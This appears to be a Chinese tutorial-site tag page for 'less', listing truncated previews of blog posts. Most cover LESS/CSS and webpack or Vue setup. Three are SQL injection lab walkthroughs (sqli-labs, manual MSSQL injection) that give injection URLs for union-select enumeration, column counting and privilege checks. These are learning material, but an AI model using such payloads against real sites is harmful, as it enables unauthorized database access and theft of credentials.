less | 易学教程

rem 适配布局 + LESS + 媒体查询

阅读更多关于 rem 适配布局 + LESS + 媒体查询

1. rem 基础　rem 是一个相对单位，类似于 em ，em 是父元素字体大小。　rem 是相对于 html 元素字体大小来说的　rem 优点就是可以通过修改 html 里面的文字大小来改变页面中元素的大小可以整体控制　比如：根元素（html ）设置的 font-size=12px；非根元素设置 width：2rem；则换成px 表示 24px（12px*2rem） 2. 媒体查询（@media）　@media 可以针对不同的屏幕尺寸设置不同的样式　语法规范：　　　　CSS - Code; 　　} 　　　　all：用于所有设备，　　　　print：用于打印机和打印预览，　　　　screen：用于电脑屏幕，平板电脑，手机等　　　　and：可以将多个媒体特性连接到一起，相当于“且”的意思　　　　not：排除某个媒体类型，相当于“非”的意思，可以省略　　　　only：指定某个特定的媒体类型，可以省略　　　　width：定义输出设备中页面可见区域的宽度　　　　max-width：定义输入设备中页面最大可见区域宽度　　　　min-width：定义输入设备中页面最小可见区域宽度　案例：　　@media screen and（max-width：500px）{ 　　　　body{ 　　　　　　background:pink; 　　　　} 　　} 　注意点

webpack4 处理less文件

阅读更多关于 webpack4 处理less文件

1.安装依赖 npm i style - loader css - loader less - loader less - D 2.新建html页面 <html> <head> <meta charset = "UTF-8" > <title> index </title> </head> <body> </body> </html> 3.新建index.less文件 html { background - color : blue ; } 4.在main.js中引用index.less import './css/index.less' 5.配置webpack.config.js文件 module : { rules : [ { test : /\.less$/ , use :[ 'style-loader' , 'css-loader' , 'less-loader' ] } ] } 来源：博客园作者：不骄不傲链接：https://www.cnblogs.com/lemonzwt/p/11756178.html

MSSQL手工注入

阅读更多关于 MSSQL手工注入

一、手工注入 Step1：检测注入点　　通过payload检测　　http://……/less-1.asp?id=1' and 1=1-- 　　http://……/less-1.asp?id=1' and 1=2-- Step2：判断数据库类型　　select * from sysobjects （sysobjects 系统对象表，保存当前数据库的对象）　　select * from users where id=1 and exists(select * from sysobjects) 有结果说明该数据库是mssql 　　http://……/less-1.asp?id=1' union select * from users where id=1 and exists(select * from sysobjects)-- Step3：注入点权限的判断（根据页面显示效果）　　select IS_SRVROLEMEMBER('sysadmin'); 判断当前是否为sa 　　http://……/less-1.asp?id=1' and (select IS_SRVROLEMEMBER('sysadmin'))>0-- 　　select is_srvrolemember('db_owner'); 判断当前用户写文件、读文件的权限（db_owner）　　http://……

httprunner学习8-validate校验器

阅读更多关于 httprunner学习8-validate校验器

在一个完整的测试用例中，断言是必不可少的，断言是拿实际结果和期望结果去比较，在httprunner中用validate来对比测试结果。在httprunner的源码里，utils.py可以找到有哪些校验方法 def get_uniform_comparator ( comparator ): """ convert comparator alias to uniform name """ if comparator in [ "eq" , "equals" , "==" , "is" ]: return "equals" elif comparator in [ "lt" , "less_than" ]: return "less_than" elif comparator in [ "le" , "less_than_or_equals" ]: return "less_than_or_equals" elif comparator in [ "gt" , "greater_than" ]: return "greater_than" elif comparator in [ "ge" , "greater_than_or_equals" ]: return "greater_than_or_equals" elif comparator in [ "ne" , "not

SQL注入案例

阅读更多关于 SQL注入案例

文章目录 1. 首先构造闭合，只有闭合成功之后才能实现后面的sql语句 2. 然后使用order by 函数来查看有多少列，具体使用如下（建议使用二分法） 3. 接下来查看显示位是哪几位，使用union联合查询，先将id改为-1，这样才能使union后的sql语句执行显示出结果。 4. 使用databa()函数和version()函数查看库名和版本号 5. 由步骤4可知库名为security，再根据库名输出该库的所有表名 6. 由步骤4，5可知库名为security，表名有users，Emails等等。我们可以尝试查询users表的列名 7. 根据库名security和表名users可以得知users中的列有password，username ,id这些列名，我们就可以根据这些列名查找到我们想要的信息 8. 最后查找到users的用户名和密码如上图所示（即sql注入完成） 1. 首先构造闭合，只有闭合成功之后才能实现后面的sql语句进行检测依次以下方式进行检测，使用 http : //192.168.1.129/sqli-labs-master/Less-3/?id=1 and 1=2--+ http : //192.168.1.129/sqli-labs-master/Less-3/?id=1’ and 1=2--+ http : //192.168.1.129/sqli

sass、less异同

阅读更多关于 sass、less异同

相同点： 1、混入（Mixins）：class中的class 2、参数混入：可以传递参数的class，就像函数一样 3、嵌套规则：class中嵌套class，从而减少重复的代码 4、运算：css中用上数学 5、颜色功能：可以编辑颜色 6、名字空间：分组样式，从而可以被调用 7、作用域：局部修改样式 8、JavaScript赋值：在css中使用JavaScript表达式赋值不同点： 1、less环境较sass简单：sass安装需要ruby环境，less基于JavaScript 2、less使用sass简单：less没有去除css原有的属性，可以直接在less中书写css语句，只要了解css就很容易上手 3、sass比less强大一些： 4、声明变量：sass用$，less用@ 来源：博客园作者：吴小明的博客链接：https://www.cnblogs.com/wuqilang/p/11484053.html

error in ./src/pages/login.vue?vue&type=style&index=0&lang=less&

阅读更多关于 error in ./src/pages/login.vue?vue&type=style&index=0&lang=less&

vue-cli3创建less工程，npm run serve 无法运行 bug解决方法： rm -rf node-modules 修改package.json为 "less": "^3.9.0", 接着yarn install 运行项目会发现提示缺少less-loader 安装less-loader即可本文解决方法发散自： https://github.com/vuejs/vue-cli/issues/4449 来源：博客园作者： jser_dimple 链接：https://www.cnblogs.com/smart-girl/p/11475100.html

sqli labs注入记录（Less-1至Less-10）

阅读更多关于 sqli labs注入记录（Less-1至Less-10）

Less-1：基于错误的GET单引号字符型注入我们首先注入一个单引号’，出现SQL语法错误，多出一个单引号，后面闭合语句也是用的单引号： http://127.0.0.1/sqli_labs/Less-1/?id=1’ 再次注入一条SQL语句，因为条件永远为真，响应正常： http://127.0.0.1/sqli_labs/Less-1/?id=1' and '1'='1 下面猜解字段数： http://127.0.0.1/sqli_labs/Less-1/?id=1' order by 1--+ http://127.0.0.1/sqli_labs/Less-1/?id=1' order by 1,2,3--+ 确定显位数字： http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,2,3--+ 从上图可以看到，第2和第3个字段均可回显。进一步地，获取当前数据库名称： http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,(select database()) ,3--+ 数据库名为security。我们还可以获取所有的数据库名： http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,2,

LESS CSS syntax useful for modernizr

阅读更多关于 LESS CSS syntax useful for modernizr

Usually I use modernizr to find out the browser abilities. Same time, I use LESS CSS to make my css more readable and maintainable. Common style using LESS nested rules looks like this: #header { color: black; .logo { width: 300px; color: rgba(255,255,255,.6); &:hover { text-decoration: none } } } Then, if I use modernizr style fall-back, I add this text for previous block: .no-js #header, .no-rgba #header { .logo { color: white; } } So, it looks like I have two branches of code, and every time I need to check another compatability aspect the number of braches will grow. This code is less

vue中使用less

阅读更多关于 vue中使用less

收钱说明，如果你是通过：npm init webpack 项目名创建的项目，不需要手动配置webpack，所以我们子需要俩步。 npm install less less-loader --save //将less和less-loader安装到开发依赖 npm run dev //运行项目第二部：安装成功后 <style lang="less" scoped> .about{ p{ color:red; } } </style> ok!, 大功告成，加油。文章来源: https://blog.csdn.net/qq_42957741/article/details/96835468

订阅 less